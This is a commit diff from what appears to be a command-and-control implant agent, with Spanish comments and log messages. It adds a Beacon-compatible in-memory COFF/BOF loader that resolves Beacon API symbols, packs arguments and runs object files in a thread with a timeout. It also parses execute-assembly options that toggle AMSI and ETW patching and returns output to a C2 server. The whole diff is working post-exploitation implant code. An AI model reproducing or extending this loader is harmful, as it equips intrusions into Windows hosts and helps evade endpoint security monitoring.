assembly implemented

This commit is contained in:
marcos.luna
2025-12-15 18:04:20 +01:00
parent 3978a16fab
commit e45375cbd5
7 changed files with 1000 additions and 86 deletions
@@ -17,6 +17,39 @@ static char* beacon_output_buffer = NULL;
static int beacon_output_size = 0;
static int beacon_output_offset = 0;
// Structure for BOF execution in separate thread
typedef struct _BOF_THREAD_ARGS {
char* bofBuffer;
DWORD bofSize;
char* args;
unsigned long argsSize;
volatile BOOL completed;
volatile BOOL success;
} BOF_THREAD_ARGS, *PBOF_THREAD_ARGS;
// Thread function to execute BOF
static DWORD WINAPI BOFExecutionThread(LPVOID lpParam) {
PBOF_THREAD_ARGS threadArgs = (PBOF_THREAD_ARGS)lpParam;
if (!threadArgs) {
_err("[BOFExecutionThread] threadArgs es NULL");
return 1;
}
_inf("[BOFExecutionThread] Iniciando ejecución de BOF en thread separado");
threadArgs->completed = FALSE;
threadArgs->success = FALSE;
// Execute BOF
DWORD fileSize = threadArgs->bofSize;
BOOL result = RunCOFF(threadArgs->bofBuffer, &fileSize, "go", threadArgs->args, threadArgs->argsSize);
threadArgs->success = result;
threadArgs->completed = TRUE;
_inf("[BOFExecutionThread] BOF ejecutado, success=%d", result);
return result ? 0 : 1;
}
// BeaconPrintf - Capture formatted output from BOFs
void BeaconPrintf(int type, char* fmt, ...) {
va_list args;
@@ -316,7 +349,17 @@ static BOOL InternalFunctionMatch(char* StrippedSymbolName) {
STR_EQUALS(StrippedSymbolName, "GetModuleHandleA") ||
STR_EQUALS(StrippedSymbolName, "toWideChar") ||
STR_EQUALS(StrippedSymbolName, "LoadLibraryA") ||
STR_EQUALS(StrippedSymbolName, "FreeLibrary"))
STR_EQUALS(StrippedSymbolName, "FreeLibrary") ||
STR_EQUALS(StrippedSymbolName, "BeaconDataParse") ||
STR_EQUALS(StrippedSymbolName, "BeaconDataExtract") ||
STR_EQUALS(StrippedSymbolName, "BeaconDataInt") ||
STR_EQUALS(StrippedSymbolName, "BeaconDataShort") ||
STR_EQUALS(StrippedSymbolName, "BeaconDataLength") ||
STR_EQUALS(StrippedSymbolName, "BeaconPrintf") ||
STR_EQUALS(StrippedSymbolName, "BeaconOutput") ||
STR_EQUALS(StrippedSymbolName, "BeaconUseToken") ||
STR_EQUALS(StrippedSymbolName, "BeaconRevertToken") ||
STR_EQUALS(StrippedSymbolName, "BeaconIsAdmin"))
{
return TRUE;
}
@@ -331,23 +374,44 @@ static void* ProcessBeaconSymbols(char* SymbolName, BOOL* InternalFunction) {
char localSymbolNameCopy[1024] = { 0 };
*InternalFunction = FALSE;
char* locallib = NULL;
char* localfunc = SymbolName + sizeof(PREPENDSYMBOLVALUE) - 1;
char* localfunc = NULL;
HMODULE llHandle = NULL;
char* context = NULL;
if (!SymbolName) {
_err("[ProcessBeaconSymbols] SymbolName es NULL");
return NULL;
}
// Check if symbol starts with PREPENDSYMBOLVALUE
SIZE_T prependLen = strlen(PREPENDSYMBOLVALUE);
if (strncmp(SymbolName, PREPENDSYMBOLVALUE, prependLen) != 0) {
// Try to resolve anyway (might be a direct symbol name)
localfunc = SymbolName;
} else {
localfunc = SymbolName + prependLen;
}
strncpy_s(localSymbolNameCopy, sizeof(localSymbolNameCopy), SymbolName, sizeof(localSymbolNameCopy) - 1);
// Hash-based function resolution for internal functions
// For now, we'll use direct function resolution
if (InternalFunctionMatch(SymbolName + sizeof(PREPENDSYMBOLVALUE) - 1)) {
if (InternalFunctionMatch(localfunc)) {
*InternalFunction = TRUE;
localfunc = SymbolName + strlen(PREPENDSYMBOLVALUE);
UINT32 hash = custom_hash(localfunc);
// Map common Beacon functions by hash
UINT32 funcHash = hash;
if (funcHash == custom_hash("BeaconDataParse")) {
return (void*)BeaconDataParse;
} else if (funcHash == custom_hash("BeaconDataExtract")) {
return (void*)BeaconDataExtract;
} else if (funcHash == custom_hash("BeaconDataInt")) {
return (void*)BeaconDataInt;
} else if (funcHash == custom_hash("BeaconDataShort")) {
return (void*)BeaconDataShort;
} else if (funcHash == custom_hash("BeaconDataLength")) {
return (void*)BeaconDataLength;
} else if (funcHash == custom_hash("BeaconPrintf")) {
return (void*)BeaconPrintf;
} else if (funcHash == custom_hash("BeaconOutput")) {
@@ -366,18 +430,60 @@ static void* ProcessBeaconSymbols(char* SymbolName, BOOL* InternalFunction) {
return (void*)BeaconRevertToken;
} else if (funcHash == custom_hash("BeaconIsAdmin")) {
return (void*)BeaconIsAdmin;
} else {
_wrn("[ProcessBeaconSymbols] Símbolo interno no mapeado: '%s' (hash=0x%08x)", localfunc, funcHash);
}
} else {
// External symbol - parse library$function format
locallib = strtok_s(localSymbolNameCopy + sizeof(PREPENDSYMBOLVALUE) - 1, "$", &context);
// Make a working copy for strtok_s (it modifies the string)
char workingCopy[1024] = { 0 };
SIZE_T copyLen = strlen(localfunc);
if (copyLen >= sizeof(workingCopy)) {
_err("[ProcessBeaconSymbols] Símbolo demasiado largo: %zu bytes", copyLen);
return NULL;
}
strncpy_s(workingCopy, sizeof(workingCopy), localfunc, copyLen);
// Parse library$function format
char* context1 = NULL;
locallib = strtok_s(workingCopy, "$", &context1);
if (locallib) {
llHandle = LoadLibraryA(locallib);
localfunc = strtok_s(NULL, "$", &context);
if (localfunc) {
localfunc = strtok_s(localfunc, "@", &context);
functionaddress = GetProcAddress(llHandle, localfunc);
if (!llHandle) {
DWORD error = GetLastError();
_err("[ProcessBeaconSymbols] Error cargando librería '%s': %lu", locallib, error);
return NULL;
}
char* funcToken = strtok_s(NULL, "$", &context1);
if (funcToken) {
// Remove ordinal suffix if present (function@ordinal)
char* context2 = NULL;
char* funcName = strtok_s(funcToken, "@", &context2);
if (funcName) {
functionaddress = GetProcAddress(llHandle, funcName);
if (!functionaddress) {
DWORD error = GetLastError();
_err("[ProcessBeaconSymbols] Error resolviendo función '%s' en '%s': %lu", funcName, locallib, error);
}
} else {
// No @ found, use the whole token as function name
functionaddress = GetProcAddress(llHandle, funcToken);
if (!functionaddress) {
DWORD error = GetLastError();
_err("[ProcessBeaconSymbols] Error resolviendo función '%s' en '%s': %lu", funcToken, locallib, error);
}
}
} else {
_err("[ProcessBeaconSymbols] No se encontró función en formato library$function para '%s'", localfunc);
}
} else {
_wrn("[ProcessBeaconSymbols] No se pudo parsear formato library$function de '%s' (formato esperado: library$function)", localfunc);
}
}
if (!functionaddress) {
_wrn("[ProcessBeaconSymbols] No se pudo resolver símbolo '%s'", SymbolName);
}
return functionaddress;
@@ -394,10 +500,12 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg
return FALSE;
}
_inf("[ExecuteEntry] Buscando entry point '%s' en %u símbolos", func, COFF->FileHeader->NumberOfSymbols);
for (UINT32 counter = 0; counter < COFF->FileHeader->NumberOfSymbols; counter++) {
if (strcmp(COFF->SymbolTable[counter].first.Name, func) == 0) {
foo = (void(*)(char*, UINT32))((char*)COFF->RawTextData + COFF->SymbolTable[counter].Value);
_dbg("[inline_execute] Entry point encontrado: 0x%p", foo);
_inf("[ExecuteEntry] Entry point '%s' encontrado en símbolo %u: 0x%p (offset=%u)",
func, counter, foo, COFF->SymbolTable[counter].Value);
break;
}
}
@@ -408,7 +516,12 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg
}
// Execute the BOF
// Execute the BOF
// Note: If the BOF crashes, the agent will crash too since we can't use SEH with GCC
// The BOF should handle its own errors gracefully
_inf("[ExecuteEntry] Ejecutando entry point '%s'...", func);
foo((char*)args, (UINT32)argSize);
_inf("[ExecuteEntry] Entry point '%s' completado", func);
return TRUE;
}
@@ -512,9 +625,12 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
}
else {
BOOL internalFunctionCheck = FALSE;
funcptrlocation = ProcessBeaconSymbols(((char*)(COFF.SymbolTable + COFF.FileHeader->NumberOfSymbols)) + symbolOffset, &internalFunctionCheck);
char* symbolName = ((char*)(COFF.SymbolTable + COFF.FileHeader->NumberOfSymbols)) + symbolOffset;
funcptrlocation = ProcessBeaconSymbols(symbolName, &internalFunctionCheck);
if (funcptrlocation == NULL && COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].SectionNumber == 0) {
_wrn("[inline_execute] No se pudo resolver símbolo");
_wrn("[RunCOFF] No se pudo resolver símbolo '%s' (SectionNumber=%d)",
symbolName, COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].SectionNumber);
// Continue anyway - some symbols might be optional or resolved later
}
RelocationTypeParse(&COFF, sectionMapped, s, &internalFunctionCheck, funcptrlocation, functionMapping);
@@ -523,8 +639,9 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
}
// Execute the BOF
_inf("[RunCOFF] Preparando ejecución de entry point '%s' con argumentos: data=%p, size=%lu", EntryName, argumentdata, argumentsize);
if (!ExecuteEntry(&COFF, EntryName, argumentdata, argumentsize)) {
_err("[inline_execute] Error ejecutando entry point");
_err("[RunCOFF] Error ejecutando entry point '%s'", EntryName);
// Cleanup
for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
if (sectionMapped[i] != NULL) {
@@ -535,6 +652,7 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE);
return FALSE;
}
_inf("[RunCOFF] Entry point '%s' ejecutado exitosamente", EntryName);
// Cleanup
for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
@@ -549,18 +667,326 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
}
/*
* ParseBOFArguments - Parse BOF arguments from JSON string
* Returns packed arguments buffer and size
* HexStringToBytes - Convert hexadecimal string to bytes
* Returns allocated buffer with decoded bytes
*/
static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuffer, SIZE_T* outSize) {
// For now, we'll pass the JSON string directly
// A full implementation would parse the JSON and pack arguments according to type
*outBuffer = (PBYTE)LocalAlloc(LPTR, argsJsonLen);
if (!*outBuffer) {
static BOOL HexStringToBytes(PCHAR hexStr, SIZE_T hexLen, PBYTE* outBytes, SIZE_T* outLen) {
if (!hexStr || hexLen == 0 || hexLen % 2 != 0) {
return FALSE;
}
memcpy(*outBuffer, argsJson, argsJsonLen);
*outSize = argsJsonLen;
SIZE_T byteLen = hexLen / 2;
*outBytes = (PBYTE)LocalAlloc(LPTR, byteLen);
if (!*outBytes) {
return FALSE;
}
for (SIZE_T i = 0; i < byteLen; i++) {
char hexByte[3] = {hexStr[i*2], hexStr[i*2+1], '\0'};
(*outBytes)[i] = (BYTE)strtoul(hexByte, NULL, 16);
}
*outLen = byteLen;
return TRUE;
}
/*
* ParseBOFArguments - Parse BOF arguments from JSON string and pack them in binary format
* Format expected by BOFs (BeaconDataParse compatible):
* - int16: 2 bytes (little-endian)
* - int32: 4 bytes (little-endian)
* - string: 4 bytes (length) + string data (null-terminated)
* - wchar: 4 bytes (length) + wide string data (null-terminated, 2 bytes per char)
* - base64: 4 bytes (length) + decoded base64 data
* - bytes: 4 bytes (length) + raw bytes (from hex string)
*
* JSON format: [["type", "value"], ["type", value], ...]
*/
static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuffer, SIZE_T* outSize) {
// Simple JSON parser for BOF arguments format: [["type", "value"], ...]
// This is a minimal parser that handles the specific format we use
if (!argsJson || argsJsonLen == 0) {
*outBuffer = NULL;
*outSize = 0;
_inf("[ParseBOFArguments] No arguments provided");
return TRUE; // No arguments is valid
}
_inf("[ParseBOFArguments] Parsing JSON arguments: %.*s", (int)argsJsonLen, argsJson);
// Check for empty array []
PCHAR p = argsJson;
PCHAR end = argsJson + argsJsonLen;
while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r')) p++;
if (p < end && *p == '[') {
p++;
while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r')) p++;
if (p < end && *p == ']') {
// Empty array
*outBuffer = NULL;
*outSize = 0;
_inf("[ParseBOFArguments] Empty array, no arguments");
return TRUE;
}
}
// Allocate buffer (estimate: JSON is usually larger than binary, so start with same size)
SIZE_T bufferSize = argsJsonLen * 2; // Overestimate to be safe
PBYTE buffer = (PBYTE)LocalAlloc(LPTR, bufferSize);
if (!buffer) {
return FALSE;
}
SIZE_T offset = 0;
p = argsJson;
// Skip whitespace and opening bracket
while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r' || *p == '[')) p++;
// Parse arguments
while (p < end && *p != ']') {
// Skip whitespace and comma
while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r' || *p == ',' || *p == '[')) p++;
if (p >= end || *p == ']') break;
// Parse type: "type"
if (*p != '"') {
LocalFree(buffer);
return FALSE;
}
p++; // Skip opening quote
PCHAR typeStart = p;
while (p < end && *p != '"') p++;
if (p >= end) {
LocalFree(buffer);
return FALSE;
}
SIZE_T typeLen = p - typeStart;
p++; // Skip closing quote
// Skip comma/whitespace
while (p < end && (*p == ' ' || *p == '\t' || *p == ',')) p++;
// Parse value
PCHAR valueStart = NULL;
SIZE_T valueLen = 0;
BOOL isString = FALSE;
if (*p == '"') {
// String value
isString = TRUE;
p++; // Skip opening quote
valueStart = p;
while (p < end && *p != '"') p++;
if (p >= end) {
LocalFree(buffer);
return FALSE;
}
valueLen = p - valueStart;
p++; // Skip closing quote
} else if (*p == '-' || (*p >= '0' && *p <= '9')) {
// Numeric value
valueStart = p;
while (p < end && ((*p >= '0' && *p <= '9') || *p == '-' || *p == '.')) p++;
valueLen = p - valueStart;
} else if ((p + 4 <= end && strncmp(p, "true", 4) == 0) ||
(p + 5 <= end && strncmp(p, "false", 5) == 0)) {
// Boolean value (true/false without quotes)
valueStart = p;
if (strncmp(p, "true", 4) == 0) {
valueLen = 4;
p += 4;
} else {
valueLen = 5;
p += 5;
}
} else {
// Unexpected format
LocalFree(buffer);
return FALSE;
}
// Skip closing bracket and whitespace
while (p < end && (*p == ' ' || *p == '\t' || *p == ']' || *p == ',' || *p == ']')) {
if (*p == ']') break;
p++;
}
// Pack argument based on type
// Check if we need to reallocate buffer
SIZE_T needed = offset + 1024; // Estimate for worst case
if (needed > bufferSize) {
bufferSize = needed * 2;
PBYTE newBuffer = (PBYTE)LocalReAlloc(buffer, bufferSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!newBuffer) {
LocalFree(buffer);
return FALSE;
}
buffer = newBuffer;
}
// Create temporary null-terminated strings for comparison
char typeBuf[32] = {0};
if (typeLen < sizeof(typeBuf) - 1) {
memcpy(typeBuf, typeStart, typeLen);
typeBuf[typeLen] = '\0';
}
if (strcmp(typeBuf, "int16") == 0) {
INT16 val = (INT16)atoi(valueStart);
if (offset + 2 > bufferSize) {
LocalFree(buffer);
return FALSE;
}
memcpy(buffer + offset, &val, 2);
offset += 2;
_inf("[ParseBOFArguments] Packed int16: %d", val);
} else if (strcmp(typeBuf, "int32") == 0) {
INT32 val = 0;
// Handle boolean values (true/false) and numeric values
// First check for unquoted boolean literals
if (valueLen >= 4 && (strncmp(valueStart, "true", 4) == 0 || strncmp(valueStart, "True", 4) == 0)) {
val = 1;
_inf("[ParseBOFArguments] Detected boolean 'true' -> 1");
} else if (valueLen >= 5 && (strncmp(valueStart, "false", 5) == 0 || strncmp(valueStart, "False", 5) == 0)) {
val = 0;
_inf("[ParseBOFArguments] Detected boolean 'false' -> 0");
} else {
val = (INT32)atoi(valueStart);
_inf("[ParseBOFArguments] Parsed numeric value: %d", val);
}
if (offset + 4 > bufferSize) {
LocalFree(buffer);
return FALSE;
}
memcpy(buffer + offset, &val, 4);
offset += 4;
_inf("[ParseBOFArguments] Packed int32: %d (from '%.*s', len=%zu)", val, (int)valueLen, valueStart, valueLen);
} else if (strcmp(typeBuf, "string") == 0) {
if (offset + 4 + valueLen + 1 > bufferSize) {
LocalFree(buffer);
return FALSE;
}
UINT32 len = (UINT32)(valueLen + 1); // Include null terminator
memcpy(buffer + offset, &len, 4);
offset += 4;
memcpy(buffer + offset, valueStart, valueLen);
offset += valueLen;
buffer[offset++] = '\0';
_inf("[ParseBOFArguments] Packed string: %.*s (len=%u)", (int)valueLen, valueStart, len);
} else if (strcmp(typeBuf, "wchar") == 0) {
// Convert to wide string (UTF-16)
SIZE_T wcharLen = (valueLen + 1) * 2; // Each char becomes 2 bytes
if (offset + 4 + wcharLen > bufferSize) {
LocalFree(buffer);
return FALSE;
}
UINT32 len = (UINT32)wcharLen;
memcpy(buffer + offset, &len, 4);
offset += 4;
// Convert to wide chars
for (SIZE_T i = 0; i < valueLen; i++) {
WCHAR wc = (WCHAR)valueStart[i];
memcpy(buffer + offset, &wc, 2);
offset += 2;
}
WCHAR nullTerm = 0;
memcpy(buffer + offset, &nullTerm, 2);
offset += 2;
_inf("[ParseBOFArguments] Packed wchar: %.*s (len=%u)", (int)valueLen, valueStart, len);
} else if (strcmp(typeBuf, "base64") == 0) {
// Decode base64
char* b64Str = (char*)LocalAlloc(LPTR, valueLen + 1);
if (!b64Str) {
LocalFree(buffer);
return FALSE;
}
memcpy(b64Str, valueStart, valueLen);
b64Str[valueLen] = '\0';
PBYTE decoded = NULL;
SIZE_T decodedLen = 0;
if (!base64_decode(b64Str, &decoded, &decodedLen)) {
LocalFree(b64Str);
LocalFree(buffer);
return FALSE;
}
if (offset + 4 + decodedLen > bufferSize) {
SIZE_T newSize = bufferSize * 2;
while (newSize < offset + 4 + decodedLen) newSize *= 2;
PBYTE newBuffer = (PBYTE)LocalReAlloc(buffer, newSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!newBuffer) {
LocalFree(b64Str);
LocalFree(decoded);
LocalFree(buffer);
return FALSE;
}
buffer = newBuffer;
bufferSize = newSize;
}
UINT32 len = (UINT32)decodedLen;
memcpy(buffer + offset, &len, 4);
offset += 4;
memcpy(buffer + offset, decoded, decodedLen);
offset += decodedLen;
LocalFree(b64Str);
LocalFree(decoded);
_inf("[ParseBOFArguments] Packed base64: %zu bytes", decodedLen);
} else if (strcmp(typeBuf, "bytes") == 0) {
// Convert hex string to bytes
PBYTE bytes = NULL;
SIZE_T bytesLen = 0;
if (!HexStringToBytes(valueStart, valueLen, &bytes, &bytesLen)) {
LocalFree(buffer);
return FALSE;
}
if (offset + 4 + bytesLen > bufferSize) {
SIZE_T newSize = bufferSize * 2;
while (newSize < offset + 4 + bytesLen) newSize *= 2;
PBYTE newBuffer = (PBYTE)LocalReAlloc(buffer, newSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!newBuffer) {
LocalFree(bytes);
LocalFree(buffer);
return FALSE;
}
buffer = newBuffer;
bufferSize = newSize;
}
UINT32 len = (UINT32)bytesLen;
memcpy(buffer + offset, &len, 4);
offset += 4;
memcpy(buffer + offset, bytes, bytesLen);
offset += bytesLen;
LocalFree(bytes);
_inf("[ParseBOFArguments] Packed bytes: %zu bytes", bytesLen);
} else {
// Unknown type - skip or error?
_wrn("[ParseBOFArguments] Unknown argument type: %s", typeBuf);
// Continue parsing other arguments
}
}
// Resize buffer to actual size
if (offset > 0) {
PBYTE finalBuffer = (PBYTE)LocalReAlloc(buffer, offset, LMEM_MOVEABLE);
if (finalBuffer) {
buffer = finalBuffer;
}
} else {
LocalFree(buffer);
buffer = NULL;
}
_inf("[ParseBOFArguments] Total packed size: %zu bytes", offset);
*outBuffer = buffer;
*outSize = offset;
return TRUE;
}
@@ -588,11 +1014,11 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
return;
}
// Read arguments (JSON string)
// Read arguments (already serialized by translator, like Xenon)
SIZE_T argsLen = 0;
PCHAR argsJson = getString(argumentos, &argsLen);
PBYTE argsBuffer = getBytes(argumentos, &argsLen);
_dbg("InlineExecuteHandler: taskUuid=%.*s, fileId=%.*s, argsLen=%zu",
_inf("InlineExecuteHandler: taskUuid=%.*s, fileId=%.*s, argsLen=%zu",
36, taskUuid, (int)fileIdLen, fileId, argsLen);
// Create response package
@@ -613,17 +1039,39 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
liberarPaquete(salida);
liberarPaquete(respuesta);
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
if (argsBuffer) LocalFree(argsBuffer);
if (argumentos) liberarAnalizador(argumentos);
return;
}
// Parse BOF arguments
// Prepare BOF arguments (like Xenon)
// The translator already serialized the arguments using Packer
// Packer.getbuffer() returns: [size:4 bytes LE][data] where size = data length
// The translator sends this as: [len:4 bytes BE][packed_buffer]
// We receive: packed_buffer = [size:4 bytes LE][data]
// BeaconDataParse expects: [total_size:4 bytes][data] where total_size includes the 4-byte header
// So we need to replace the first 4 bytes (size) with total_size
PBYTE bofArgs = NULL;
SIZE_T bofArgsSize = 0;
if (argsJson && argsLen > 0) {
if (!ParseBOFArguments(argsJson, argsLen, &bofArgs, &bofArgsSize)) {
_err("[inline_execute] Error parseando argumentos BOF");
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudieron parsear los argumentos\n");
if (argsBuffer && argsLen > 0) {
_inf("[inline_execute] Argumentos recibidos del translator: size=%zu bytes", argsLen);
// The buffer from translator already has the format from Packer: [size:4 bytes LE][data]
// We just need to replace the first 4 bytes with the total size
bofArgs = argsBuffer; // Use the buffer directly
bofArgsSize = argsLen;
// Replace first 4 bytes with total size (including the 4-byte header)
UINT32 totalSize = (UINT32)bofArgsSize;
memcpy(bofArgs, &totalSize, 4);
_inf("[inline_execute] Buffer preparado: total_size=%u, buffer_size=%zu", totalSize, bofArgsSize);
} else {
_inf("[inline_execute] No hay argumentos");
bofArgs = NULL;
bofArgsSize = 0;
if (argsBuffer) {
LocalFree(argsBuffer);
argsBuffer = NULL;
}
}
@@ -639,58 +1087,168 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
// Execute the BOF
DWORD fileSize = (DWORD)bof.size;
_inf("[inline_execute] Ejecutando BOF: size=%lu bytes, entry=go", fileSize);
if (!RunCOFF((char*)bof.buffer, &fileSize, "go", (char*)bofArgs, bofArgsSize)) {
_err("[inline_execute] Error ejecutando BOF");
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo ejecutar el BOF\n");
_inf("[inline_execute] Argumentos para BOF: size=%zu bytes, ptr=%p", bofArgsSize, bofArgs);
// Log argument structure for debugging (first 100 bytes)
if (bofArgs && bofArgsSize > 0) {
int logBytes = (bofArgsSize > 100) ? 100 : bofArgsSize;
// Log only summary of arguments (reduced verbosity to prevent log blocking)
if (bofArgsSize >= 4) {
UINT32* ptr = (UINT32*)bofArgs;
SIZE_T offset = 4;
if (offset + 4 <= bofArgsSize) {
UINT32 bytesLen = ptr[1];
offset += 4 + bytesLen;
if (offset + 4 <= bofArgsSize) {
UINT32 assemblyLen = *(UINT32*)((PBYTE)bofArgs + offset);
offset += 4;
if (offset + 4 <= bofArgsSize) {
UINT32 wcharLen = *(UINT32*)((PBYTE)bofArgs + offset);
offset += 4 + wcharLen;
if (offset + 4 <= bofArgsSize) {
INT32 patchExit = *(INT32*)((PBYTE)bofArgs + offset);
offset += 4;
if (offset + 4 <= bofArgsSize) {
INT32 amsi = *(INT32*)((PBYTE)bofArgs + offset);
offset += 4;
if (offset + 4 <= bofArgsSize) {
INT32 etw = *(INT32*)((PBYTE)bofArgs + offset);
_inf("[inline_execute] Args: bytes=%u, assembly=%u, wchar=%u, patch_exit=%d, amsi=%d, etw=%d",
bytesLen, assemblyLen, wcharLen, patchExit, amsi, etw);
}
}
}
}
}
}
}
}
// Execute the BOF in a separate thread to prevent agent blocking
// This allows the agent to continue even if the BOF hangs or crashes
_inf("[inline_execute] === EJECUTANDO BOF EN THREAD SEPARADO ===");
_inf("[inline_execute] BOF: buffer=%p, size=%lu, args=%p, argsSize=%zu",
bof.buffer, fileSize, bofArgs, bofArgsSize);
// Prepare thread arguments
BOF_THREAD_ARGS threadArgs = {0};
threadArgs.bofBuffer = (char*)bof.buffer;
threadArgs.bofSize = fileSize;
threadArgs.args = (char*)bofArgs;
threadArgs.argsSize = bofArgsSize;
threadArgs.completed = FALSE;
threadArgs.success = FALSE;
// Create thread to execute BOF
HANDLE hThread = CreateThread(NULL, 0, BOFExecutionThread, &threadArgs, 0, NULL);
if (!hThread) {
_err("[inline_execute] Error creando thread para ejecutar BOF (error: %lu)", GetLastError());
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo crear thread para ejecutar BOF\n");
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
liberarPaquete(salida);
liberarPaquete(respuesta);
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
if (bof.buffer) LocalFree(bof.buffer);
if (bofArgs) LocalFree(bofArgs);
if (argumentos) liberarAnalizador(argumentos);
return;
}
// Wait for BOF execution with timeout (30 seconds)
DWORD timeoutMs = 30000; // 30 seconds
_inf("[inline_execute] Esperando ejecución del BOF (timeout=%lu ms)...", timeoutMs);
DWORD waitResult = WaitForSingleObject(hThread, timeoutMs);
_inf("[inline_execute] WaitForSingleObject retornó: %lu (WAIT_OBJECT_0=%d, WAIT_TIMEOUT=%d)",
waitResult, WAIT_OBJECT_0, WAIT_TIMEOUT);
BOOL bofSuccess = FALSE;
if (waitResult == WAIT_OBJECT_0) {
// Thread completed
_inf("[inline_execute] Thread del BOF completó exitosamente");
bofSuccess = threadArgs.success;
_inf("[inline_execute] threadArgs.success=%d, threadArgs.completed=%d",
threadArgs.success, threadArgs.completed);
} else if (waitResult == WAIT_TIMEOUT) {
// Thread timed out - BOF is hanging
_err("[inline_execute] BOF se colgó (timeout después de %lu ms)", timeoutMs);
_inf("[inline_execute] Intentando terminar thread colgado...");
// Try to terminate the thread (not ideal, but necessary to unblock agent)
if (TerminateThread(hThread, 1)) {
_inf("[inline_execute] Thread terminado exitosamente");
} else {
_inf("[inline_execute] BOF ejecutado exitosamente, capturando output...");
_err("[inline_execute] Error terminando thread (error: %lu)", GetLastError());
}
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] WARNING: BOF se colgó después de %lu segundos\n", timeoutMs / 1000);
bofSuccess = FALSE;
} else {
// Wait failed
_err("[inline_execute] Error esperando thread del BOF (waitResult=%lu, error: %lu)",
waitResult, GetLastError());
bofSuccess = FALSE;
}
CloseHandle(hThread);
// Always try to capture output, even if BOF returned FALSE
// The BOF might have produced output via BeaconPrintf before crashing
// Get output from Beacon compatibility layer
int outdataSize = 0;
PCHAR outdata = BeaconGetOutputData(&outdataSize);
_inf("[inline_execute] Output capturado: size=%d, ptr=%p", outdataSize, outdata);
if (outdata && outdataSize > 0) {
_inf("[inline_execute] Agregando output al paquete: %d bytes", outdataSize);
// Debug: log first 200 bytes of output
int logLen = (outdataSize > 200) ? 200 : outdataSize;
_inf("[inline_execute] Primeros %d bytes del output: %.*s", logLen, logLen, outdata);
addBytes(salida, (PBYTE)outdata, outdataSize, TRUE);
free(outdata);
} else {
_inf("[inline_execute] No hay output del BOF (outdataSize=%d)", outdataSize);
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] BOF ejecutado exitosamente (sin output)\n");
}
}
_inf("[inline_execute] Tamaño del paquete salida antes de agregar a respuesta: %zu bytes", salida->length);
// If BOF failed but we have output, add a warning
if (!bofSuccess) {
PackageAddFormatPrintf(salida, FALSE, "\n[WARNING] BOF execution may have failed, but output was captured\n");
}
} else {
if (bofSuccess) {
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] BOF ejecutado exitosamente (sin output)\n");
} else {
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo ejecutar el BOF\n");
}
}
// Add output to response FIRST (before artifacts)
// Format must be: [UUID_tarea][output_len][output][marcadores...]
_inf("[inline_execute] Agregando output a respuesta: %zu bytes", salida->length);
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
// Add Process Create artifact AFTER output
// BOF execution creates process artifacts
char artifact_buf[512];
if (argsJson && argsLen > 0) {
snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s, args=%.*s",
(int)fileIdLen, fileId, (int)(argsLen > 100 ? 100 : argsLen), argsJson);
if (bofArgs && bofArgsSize > 0) {
snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s, args_size=%zu",
(int)fileIdLen, fileId, bofArgsSize);
} else {
snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s", (int)fileIdLen, fileId);
}
addArtifact(respuesta, "Process Create", artifact_buf);
_inf("[inline_execute] Tamaño del paquete respuesta antes de enviar: %zu bytes", respuesta->length);
// Send response
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
if (respuestaAnalizador) {
liberarAnalizador(respuestaAnalizador);
} else {
_err("[inline_execute] ERROR: mandarPaquete retornó NULL - la respuesta no se envió");
}
liberarPaquete(salida);
liberarPaquete(respuesta);
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
// Cleanup
if (bof.buffer) LocalFree(bof.buffer);
if (bofArgs) LocalFree(bofArgs);
if (argumentos) liberarAnalizador(argumentos);
if (bof.buffer) {
LocalFree(bof.buffer);
bof.buffer = NULL;
}
if (bofArgs) {
LocalFree(bofArgs);
bofArgs = NULL;
}
if (argumentos) {
liberarAnalizador(argumentos);
argumentos = NULL;
}
_inf("===== InlineExecuteHandler FIN =====");
}
@@ -122,6 +122,15 @@ static VOID flushRpfwdTraffic(PPaquete paquete) {
/* === Enviar paquete con soporte SOCKS === */
PAnalizador mandarPaquete(PPaquete paquete) {
_inf("=== mandarPaquete INICIO === len=%zu", paquete->length);
if (!paquete) {
_err("mandarPaquete: paquete es NULL");
return NULL;
}
